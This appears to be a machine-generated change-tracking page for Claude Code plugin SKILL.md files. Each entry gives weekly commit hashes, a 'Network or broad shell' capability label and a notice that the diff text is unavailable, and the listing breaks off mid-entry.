harness/claude-code/plugins/backstage-expert/skills/backstage-app-configuration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-auth/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-authentication/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-catalog/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-core-contribution/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-framework/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-integrations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-notifications/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-operations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-permissions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-plugins/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-search/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-software-templates/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-techdocs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/brag-sheet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/daily-prep/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/email-drafter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/exam-ready/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/linkedin-post-formatter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/meeting-minutes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/performance-review-writer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/career-productivity/skills/technical-job-search/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/clojure-interactive-programming/skills/remember-interactive-programming/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/cms-development/skills/content-management-systems/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/cms-development/skills/markdown-to-html/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/cms-development/skills/quasi-coder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/dotnet-design-pattern-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/editorconfig/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/em-dash/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/refactor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/refactor-method-complexity-reduce/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/review-and-refactor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/ruff-recursive-fix/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/code-quality-refactoring/skills/tiny-stepping/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/architecture-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/code-exemplars-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/copilot-instructions-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/folder-structure-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/project-workflow-analysis-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/readme-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/repo-story-time/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/codebase-blueprints/skills/technology-stack-blueprint-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/context-engineering/skills/context-map/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/context-engineering/skills/refactor-plan/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/context-engineering/skills/what-context-needed/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/context-matic/skills/integrate-context-matic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/context-matic/skills/onboard-context-matic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/convert-to-md/skills/convert-excel-to-md/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/convert-to-md/skills/convert-pdf-to-md/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/convert-to-md/skills/convert-word-to-md/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/agent-skill-stack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
